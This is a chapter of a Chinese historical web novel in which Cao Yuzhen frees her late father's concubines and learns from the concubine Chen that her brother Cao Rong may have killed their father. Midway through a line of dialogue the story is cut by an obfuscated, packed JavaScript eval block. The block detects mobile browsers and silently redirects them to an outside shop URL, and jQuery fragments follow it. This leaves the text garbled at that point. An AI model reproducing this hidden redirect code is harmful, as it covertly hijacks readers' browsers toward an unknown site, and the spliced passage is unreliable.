众人一时炸开了锅,其中有几个姬妾一屁股坐在了地上,开始了撒泼打滚。
“哎哟,我的心肝宝儿呐!”
“乖乖,空了,都空了,没指望了……”
“蛾儿,我的宝贝儿,你怎么就先我一步走了呢……”
“他一个优人,你让他去上阵杀敌做甚,这不是要了他的命么?!”
一时间,曹毓贞院子这边哭天抢地的声音,一浪高过一浪。
曹毓贞只是站着,默默地在旁接收着嘈杂的抱怨,责难。
倩蝶见了,赶忙过来像和事佬一般,啰里啰嗦地劝和着,但这一群姬妾依旧不买账。
“各位庶母!”
一声吼叫把在场的人都怔住了。
“秦蛾儿此番平定山越有功,我已然上报州府军政司,论功定赏!”
一个姬妾哭哭啼啼道:“人都死了,还要赏赐有什么用?”
曹毓贞肃然,道“他没有用,他的未婚妻有用!”
这句话如同一个响雷,劈得在场诸人不敢支一声,一个姬妾腮边还挂着清泪,但听到这话,也愣住了。
“你们寻常只知道拿一个优人取乐,可哪一个有关心过他?知道他是谁?为什么来府上?”
众人一时沉默不语,曹毓贞缓了口气道:“他本名吴朴,是南部山越吴家寨中的一个寨民,因未婚妻被吴良的儿子看中,强逼婚嫁,故而带未婚妻一道逃出盘蟒谷。后被吴良等紧紧逼杀,不得已去官府自首,两人都被入了贱籍,进了娼优行当。”
见她们没有说话,曹毓贞接着往下说,道:“男子在这行当里尚且艰难,何况他妻子呢?我已着人将他妻子赎身,并给了安家银,让她下半生可以安稳度日。”
姬妾们从最开始的呼天抢地到现在的低头抽泣呜咽,虽然难以接受失去了这么一个‘美人‘,却也同样怀了一些恻隐之心。
曹毓贞看着这些庶母,但却是一个个虎狼年纪的小娘子,也是满脸的无奈。
曹毓贞道:“庶母们长日漫漫,着实难慰寂寥,不如……”
众人敛声屏气地盯着曹毓贞。
“我来向州牧大人请了恩旨,放诸位归了良家如何?”
曹毓贞这话一出,在场的姬妾们没有一个不瞪大了双眼的。
这免了殉葬已然是州牧大人开了天恩,怎么居然还可以放归良家,这是投了什么好人家了,有这种破天荒的规矩。
不过,联想到曹毓贞在□□向来是说一不二的,她既然能说出这样的话,自然是有十成十的把握。
静默良久,才有一名姬妾从重大的悲喜之中转念了过来,怔怔道:“贞儿,你说的可是当真?”
“自然,有愿意归家者,各房所蓄银钱皆可带走。”
此话一出,众姬妾们哄得一下炸出了声,那动静比方才知道秦蛾儿的死更大,一时间从大悲大喜的神色中立马转换成兴高采烈。
一哄而上,拉着曹毓贞的手,又是搭肩,又是勾背的。
“我就说咱们贞儿自小就知道疼人……”
“那是,老爷在世时,我就说过,日后若能生一个像贞儿这样的闺女,就是死也甘愿了。”
“我自小看着贞儿长大,就知道她最疼咱们这些庶母了。”说话的是曹绽晚年纳的一个胡姬,年岁还比曹毓贞小了两岁。
好不容易劝走了一众庶母祖宗,此时见院角中仍然站着一个女子,一身素白色衣衫,利落干净。
此人姓陈,也是曹绽的姬妾之一,曹毓贞未出阁时治理后宅,那时就对她印象极深,素日里总是一副素雅端庄的姿态,这样的姑娘本该配一良家,做正头夫人才对。
“先父过世快两年了,你不过是个妾室,早可以除服的……”
“先府君在时,待我不薄,这些都是我甘愿做的。”
她淡淡一笑,话语中坚定的态度,让曹毓贞自觉汗颜。
“你不同她们一道?”
陈氏摇了摇头,曹毓贞道:“你若家道艰难,我自可做主,多予你一些银两。”
“不必!”
曹毓贞笑了笑,在廊下坐了下来,凤眼仔细地审视着眼前这位庶母。
“那你同她们一道儿来我这儿闹什么呢?!”
曹毓贞嘴里虽然说这么说,但她一直在观察着这位庶母,的确没有跟着起哄。
陈氏摇了摇头,神情淡然,道:“我是来看你的。”
“看我?”
曹毓贞被她的话一时有些说的不好意思,她与这些庶母向来不算对付,管理起来轻不得重不得,从前幸而有姜宜在旁协助。
可如今倒是得了个知己。
她欲言又止,半晌扯开了话题,道:“贞儿,你攻伐山越,我怕你会生出什么危险,所以趁着这个机会来看看你。”她说这番话时,眼睛时不时地瞄向一旁的倩蝶。
曹毓贞见她这番做派,自然生了警醒之意。
“庶母关爱,贞儿铭感五内。”
“今夜三更,便要起风了。贞儿你这院子靠白蒿里比较近,那里荒废久了,俱是颓败萧条之气。你让伺候你的婢子们,闭紧门窗,仔细寒风吹来,将那厢的残破寒气吹到你这院中,坏了风气。”
说罢,便转身离去。
曹毓贞回神见此刻倩蝶正盯着陈氏远去的背影,思索着什么。
曹毓贞不动声色地清了清嗓子,道:“我渴了。”
倩蝶赶忙收了神思,施礼回房去沏茶端水。
果然不出陈氏所料,当夜便起了秋风,一时间让人有些瑟瑟紧身之感。
曹毓贞吩咐倩蝶为今天在门外值守的丫鬟们加上一个碳炉,要不然时时警醒着上夜,于自己可不是什么‘好事’。
二更天后,曹毓贞穿戴一身深色衣衫,蹑手蹑脚地跨过门外上夜的婢子,就往白蒿里来。
这里曾是一块菜园子,祖父在时喜爱耕读,故而常会来此松土、播种,种上一些他喜爱的瓜果鲜蔬之类。
祖父走后,这里便空了出来。十多年了,早已荒废残破。院中杂草丛生,有些都长得比人都高。
此刻,杂草中间有个人影相背而立。虽然不得见面容,但曹毓贞却立时可以唤出她的身份。
“陈氏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785703|209408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
陈氏身子微微一倾,她没有立即转身。
“大小姐!”身份的称谓,也从长辈转换成了府内的妾婢。
“你有什么内情,非要让我三更时分来此私谈?”
陈氏幽幽叹了口气,此时一阵寒凉的秋风吹过,显得四下愈发寂寥悲凉。
“倩蝶,是你阿兄安插在你身边的,你可知道?”
曹毓贞没有回答,她一直都觉得倩蝶不是个简单的婢子,好像身上带着什么使命一样,譬如像陈氏所言,是曹荣用来监视自己的。
“你可知他为何要安插眼线在你身边?你虽是曹府嫡女,却非男儿之身,动摇不了他的州牧大位,何以对你防备如此?”
她抛出的一个个问题,让曹毓贞一时来不及思索,无法应答。
“大小姐,你是一个不戴头巾的男子汉,行事聪慧果决,更远胜外间那帮污秽!曹荣怕你回来,更怕你知道真相!”
真相?什么真相?
“自你回来,我便有意无意地在观察着你!我想知道你是不是一个可以托付肺腑,让我心中这冤屈一吐为快的人。直到你这次平了山越,大捷而归,才敢来看你,可......可我依旧......依旧有所顾忌!”
陈氏的这一番欲扬先抑,引得曹毓贞心痒难耐。
“你到底有何冤屈?与曹荣有关?他欺负你了?”
儿子待父亲死后,纳娶庶母这种十分常见。关内的人,受孔圣思想教化,对于这些还是有些顾忌的。可一旦出了关,去到了那些野蛮的不毛之地,这种事情一点也不稀奇,相反可以看作是接纳、继承祖业的一部分。
“不,远比这个要重的多!”
她的话藕断丝连,含含糊糊,引得曹毓贞有些不耐烦,摆着头四下张望。
陈氏突然转身,月色下映照在她的脸上,满面泪痕道:“曹荣,他一个弑父上位的畜生,何以坐上这州牧之位!”
陈氏的话如同晴天霹雳一般,炸地曹毓贞一个精神。
“你浑说什么?!”曹毓贞的声音很大,冲到陈氏跟前吼道,这一嗓子差点把她自己也给吓到了。
曹毓贞意识到了什么,赶忙闭嘴,警觉地看了看四周,除了风吹稗草的响动,再无其他。
她稳了稳心神,抓着陈氏的肩膀,压低声音道:“你莫要胡言,这般罪名谁也担不起!”
曹毓贞可以相信自己那个阿兄在政治旋涡中,被染的已经没了本来面目。相信他生了狡诈、有了谋算、失了孝悌,但若说要到弑君弑父的地步,曹毓贞不愿想,也不敢想。
陈氏拨开了她的手,步步逼退曹毓贞的不可置信。
陈氏面上浮现出极为可怖的笑容,嘴上的口脂在月光的映照下显得鲜红如血,像是地狱里爬出的冤鬼一般。
“胡言?!他与先府君在病榻前的话,字字句句,蚀骨灼心,何以言假!”
曹毓贞身体抖得厉害,陈氏的话让她一时有些接受不了。但凡曹荣不是成年后再入曹府,自己都没有那么不能接受。
“你听到了什么?”她小心翼翼地问道。